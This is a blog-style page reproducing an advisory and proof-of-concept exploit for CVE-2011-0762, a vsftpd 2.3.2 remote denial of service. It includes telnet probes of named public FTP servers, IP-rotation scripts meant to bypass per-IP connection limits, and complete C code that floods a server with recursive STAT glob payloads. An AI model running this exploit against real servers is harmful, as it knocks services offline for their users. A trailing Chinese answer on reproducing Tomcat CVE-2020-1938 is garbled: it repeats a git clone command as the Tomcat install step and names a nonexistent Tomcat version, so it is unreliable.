FTP拒绝服务_CVE-2011-0762

The vsf_filename_passes_filter function in ls.c in vsftpd before 2.3.3 allows remote authenticated users to cause a denial of service (CPU consumption and process slot exhaustion) via crafted glob expressions in STAT commands in multiple FTP sessions, a different vulnerability than CVE-2010-2632.


[ vsftpd 2.3.2 remote denial-of-service ]


Author: Maksymilian Arciemowicz
http://cxib.net/
Date:
- Dis.: 23.12.2010
- Pub.: 01.03.2011

CVE: CVE-2011-0762 
CERT: VU#590604 

Fix: vsftpd 2.3.4 (15.02.2011)

Affected Software (verified):
- vsftpd 2.3.2 (NetBSD 5.1)
- vsftpd 2.3.0 (Ubuntu 10.10)

Affected Servers (19.02.2011):
- ftp.gnu.org (2.0.6) 
- ftp.kernel.org (2.2.2)
- ftpgen.wip4.adobe.com (2.3.2)
- ftp.oracle.com (2.0.5)
- ftp.freebsd.org (2.2.0)
- more more more...


--- 0.Description ---
vsftpd is a GPL licensed FTP server for UNIX systems, including Linux. It is secure and extremely fast. It is stable.
Don't take my word for it, though. Below, we will see evidence supporting all three assertions. We will also see a list
of a few important sites which are happily using vsftpd. This demonstrates vsftpd is a mature and trusted solution. 


--- 1. vsftpd 2.3.2 remote denial-of-service ---
As we can read in "ls.c" vsftpd file...

---
...
* parsing and handling. There is broad potential for any given fnmatch(3)
* implementation to be buggy.
*
* Currently supported pattern(s):
* - any number of wildcards, "*" or "?"
* - {,} syntax (not nested)
...
---

That true but anyone who has changed ftpd bsd daemon to vsftpd to protect before CVE-2010-2632 (glob(3) resource
exhaustion) are in danger. Any code with huge complexity, could allow of denial of service if an affected system
received vulnerable pattern. This bug allow to disable wide range of servers. To designate vulnerable servers, we have
to used pattern with medium complexity.

-Example affected server---
cx@cx64:~$ telnet ftp.gnu.org 21
Trying 140.186.70.20...
Connected to ftp.gnu.org.
Escape character is '^]'.
220 GNU FTP server ready.
USER anonymous
PASS abra@cadabra.abw
STAT {{*},....}
...
230 Login successful.
230 Already logged in.
213-Status follows:

-Example affected server---

Execution time may have wide range depending on the length of pattern:
empty 2388 97.3 0.0 37980 1352 ? R Dec23 222:42 /usr/sbin/vsftpd

222m and counting...

so any next {{*},Recursion} will increment the complexity. Let's see what is wrong and where. In vsftpd the main problem
exists in ls.c.

-ls.c--
int
vsf_filename_passes_filter(const struct mystr* p_filename_str,
const struct mystr* p_filter_str)
{
...
else if (last_token == '{')
{
struct str_locate_result end_brace =
str_locate_char(&filter_remain_str, '}');
must_match_at_current_pos = 1;
if (end_brace.found)
{
str_split_char(&filter_remain_str, &temp_str, '}');
str_copy(&brace_list_str, &filter_remain_str);
str_copy(&filter_remain_str, &temp_str);
str_split_char(&brace_list_str, &temp_str, ',');
while (!str_isempty(&brace_list_str))
{
str_copy(&new_filter_str, &brace_list_str);
str_append_str(&new_filter_str, &filter_remain_str);
if (vsf_filename_passes_filter(&name_remain_str, &new_filter_str)) <===== LIMIT THIS CALL
{
ret = 1;
...
-ls.c--

Code:
if (vsf_filename_passes_filter(&name_remain_str, &new_filter_str)) <===== LIMIT THIS CALL

this call should be limited, and in version 2.3.4 has been fixed.

A simple way to show growth in computing power ...
(1*2*3*4*...*count(vsf_filename_passes_filter complexity)) == count(vsf_filename_passes_filter complexity)!

Compare two patterns and see different between

STAT
{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},
{{*},{.}}}}}}}}}}}}}}}}}}}}}}}}}}

and add next {*,...}

STAT
{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},
{{*},{{*},{.}}}}}}}}}}}}}}}}}}}}}}}}}}}

and in the end, compare:
STAT
{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},
{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},
{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},
{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{.}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
}}}}}}}}}}

hovever in vsftpd, command lenght is allowed to 4096 bytes. So it's no problem to create request with a huge complexity

To bypass max_per_ip, use ISP with dynamic ip. Disconnect and connect (example for bt mobile phone):

cx@cx64:~$ hciconfig hci0 down
cx@cx64:~$ hciconfig hci0 up

and connect again. 

---PoC---
Download vspoc232.c and compile, then create some script to changing your ip (netbsd51: pcn0)

-change.sh; change ip by mac(local dos)---
#!/bin/sh
# example change ip script
ifconfig pcn0 down
/etc/rc.d/dhclient stop 
ifconfig pcn0 link 00:0c:0c:0c:$1:$2 active 
dhclient pcn0
/etc/rc.d/dhclient start
ifconfig pcn0 up
-change.sh; change ip by mac(local dos)---

or use mobile phone via bluetooth. 

-change.sh; conn-diss bt---
#!/bin/sh
# example change ip script
hciconfig hci0 down
hciconfig hci0 up
-change.sh; conn-diss bt---

then run.sh

-run.sh---
#!/bin/sh
# vsftpd exploit with change ip option
# sh run.sh [ip] [port] [user] [password]

mac=0;
echo "vsftpd exploit";
while [ $mac != 0xff ]; do { 
mac=`expr $mac + 1`;
./vspoc232 $1 $2 $3 $4
sh ./change.sh 66 $mac
} done
-run.sh---

then run and see result

sh ./run.sh 172.5.0.129 21 cx pass

on my local netbsd5.1 (default instalation), we reach to limit and no more new processes (DoS).

Result (forked dos):
cx@cx64:~$ 

USER PID %CPU %MEM VSZ RSS TTY STAT STARTED TIME COMMAND
...
root 149 0.0 0.1 2932 1152 ? Is 2:31AM 0:00.01 vsftpd /usr/pkg/e
cx 150 0.0 0.2 2956 1592 ? R 2:32AM 0:01.22 vsftpd /usr/pkg/e
cx 160 0.3 0.2 2956 1592 ? R 2:31AM 0:01.48 vsftpd /usr/pkg/e
cx 161 0.2 0.2 2956 1592 ? R 2:32AM 0:01.03 vsftpd /usr/pkg/e
root 258 0.0 0.1 2932 1152 ? Is 2:32AM 0:00.01 vsftpd /usr/pkg/e
root 278 0.0 0.1 2932 1152 ? Is 2:32AM 0:00.02 vsftpd /usr/pkg/e
cx 289 0.0 0.2 2956 1592 ? R 2:32AM 0:00.97 vsftpd /usr/pkg/e
cx 321 0.0 0.2 2956 1592 ? R 2:32AM 0:00.85 vsftpd /usr/pkg/e
...
root 5139 0.0 0.1 2932 1164 ? Is 2:35AM 0:00.01 vsftpd /usr/pkg/e
root 5145 0.0 0.1 2932 1164 ? Is 2:35AM 0:00.02 vsftpd /usr/pkg/e
root 5156 0.0 0.1 2932 1164 ? Is 2:35AM 0:00.01 vsftpd /usr/pkg/e
root 5159 0.0 0.1 2932 1164 ? Is 2:35AM 0:00.01 vsftpd /usr/pkg/e
cx 5170 0.0 0.2 2956 1608 ? R 2:35AM 0:00.44 vsftpd /usr/pkg/e
root 5190 0.0 0.1 2932 1168 ? Is 2:35AM 0:00.01 vsftpd /usr/pkg/e
cx 5192 0.0 0.2 2956 1612 ? R 2:35AM 0:00.39 vsftpd /usr/pkg/e
cx 5242 0.0 0.2 2956 1612 ? R 2:35AM 0:00.39 vsftpd /usr/pkg/e
cx 5250 0.0 0.2 2956 1612 ? R 2:35AM 0:00.49 vsftpd /usr/pkg/e
root 7199 0.0 0.1 2932 1164 ? Is 2:35AM 0:00.01 vsftpd /usr/pkg/e
cx 7248 0.0 0.2 2956 1612 ? R 2:35AM 0:00.63 vsftpd /usr/pkg/e
root 7256 0.0 0.1 2932 1168 ? Is 2:35AM 0:00.01 vsftpd /usr/pkg/e
root 7276 0.0 0.1 2932 1168 ? Is 2:35AM 0:00.01 vsftpd /usr/pkg/e

bypassing max_per_ip we have created more than 5000 vsftdp children processes. 

cx@cx64:~$ telnet 172.5.0.129 21
Trying 172.5.0.129...
Connected to 172.5.0.129.
Escape character is '^]'.
500 OOPS: fork
Connection closed by foreign host.


--- 2. Exploit ---
http://cxib.net/stuff/vspoc232.c


--- 3. Fix ---
ftp://vsftpd.beasts.org/users/cevans/untar/vsftpd-2.3.4/Changelog
ftp://vsftpd.beasts.org/users/cevans/vsftpd-2.3.4.tar.gz
ftp://vsftpd.beasts.org/users/cevans/vsftpd-2.3.4.tar.gz.asc


--- 4. Greets ---
Chris Evans


--- 5. Contact ---

Author: Maksymilian Arciemowicz


============================漏洞利用源程序======================================

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>


/*
This is code of
http://cxib.net/stuff/vspoc232.c


PoC CVE-2011-0762 ( vsftpd )
Remote Denial of Service


Affected Version: 2.3.2
Fix: 2.3.4


Author:
Maksymilian Arciemowicz


Use:
./vspoc232 127.0.0.1 21 user pass 1


or read 
http://securityreason.com/achievement_securityalert/95
for more information
  
Example result:
cx@cx64:~$ telnet 172.5.0.129 21
Trying 172.5.0.129...
Connected to 172.5.0.129.
Escape character is '^]'.
500 OOPS: fork
Connection closed by foreign host.


*/


int skip=0;


int sendftp(int stream,char *what){
        if(-1==send(stream,what,strlen(what),0))
                printf("Can't send %s\n",what);
        else
                printf("send: %s\n",what);


        bzero(what,sizeof(what));
}


void readftp(int stream){
        char readline[4096];
        if(recv(stream,readline,4096,0)<1)
        if(!skip) exit(1); // end
        else
           printf("recv: %s\n",readline);
    
}


int sendstat(host,port,login,pass)
        char *host,*port,*login,*pass;
{
        char buffer[4097]; // send ftp command buffor
        int     sockfd,n,error;
        struct addrinfo hints;
    struct addrinfo *res, *res0;


        memset(&hints, 0, sizeof(hints));
        hints.ai_family = PF_UNSPEC;
        hints.ai_socktype = SOCK_STREAM;
        error = getaddrinfo(host,port,&hints,&res0);


        if (error){
                errorcon:
printf("Can`t connect :%d\n.exit", error);                
exit(1);
        }


        if((sockfd=socket(res0->ai_family,res0->ai_socktype, res0->ai_protocol))<0) goto errorcon;
        if(-1==connect(sockfd,res0->ai_addr,res0->ai_addrlen)) goto errorcon;


        readftp(sockfd);
        snprintf(buffer,4096,"USER %s\nPASS %s\n\n",login,pass);
        sendftp(sockfd,buffer);
        readftp(sockfd);


        snprintf(buffer,4096,"STAT {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{.}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}\n");
printf("%s", buffer);
        sendftp(sockfd,buffer);
        freeaddrinfo(res0);
}


int main(int argc,char *argv[])
{
        char *login,*pass,logindef[]="anonymous",passdef[]="cxib.net@127.0.0.1";


        if(argc<3){
                printf("\nUse: ./vspoc232 host port [username] [password] [option]\nhost and port are requied\nuse option = 1 to skip recv() fails\n\nexample:\n./vspoc232 127.0.0.1 21 user pass 1\n\n");
                exit(1);
        }


        char *host=argv[1];
        char *port=argv[2];


        if(4<=argc) login=argv[3];
        else login=logindef;


        if(5<=argc) pass=argv[4];
        else pass=passdef;


        if(6<=argc) skip=1;


        while(1){
                printf("----------------------------- next\n");
                sendstat(host,port,login,pass);
                sleep(1); // some delay to be sure
        }
        return 0; // never happen
}


要复现Tomact_CVE-2020-1938漏洞,可以按照以下步骤进行操作: 1. 下载POC:可以使用以下命令下载POC文件: git clone https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/ 2. 在攻击机上搭建环境:确保攻击机上已经安装了Tomcat服务器,并且版本在3.4.3以下,可以使用以下命令下载并安装Tomcat 3.4.3版本: git clone https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/ 3. 配置Tomcat服务器:在Tomcat安装目录下,找到server.xml文件,在<Connector>标签中添加以下内容: protocol="org.apache.coyote.ajp.AjpNio2Protocol" secretRequired="false" 4. 启动Tomcat服务器:在Tomcat安装目录下运行启动脚本,如./catalina.sh run 5. 复现漏洞:使用以下命令触发漏洞复现: python3 file_include.py -u http://目标IP:目标端口/ -p /WEB-INF/web.xml 以上步骤可以帮助你复现Tomact_CVE-2020-1938漏洞。请注意,在进行漏洞复现时务必遵守道德规范,并获得合法授权进行测试。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [CVE-2020-1938 漏洞复现](https://blog.csdn.net/weixin_48799157/article/details/124889366)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* [CVE-2020-1938 Tomcat文件包含漏洞复现](https://blog.csdn.net/qq_49279082/article/details/129018726)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值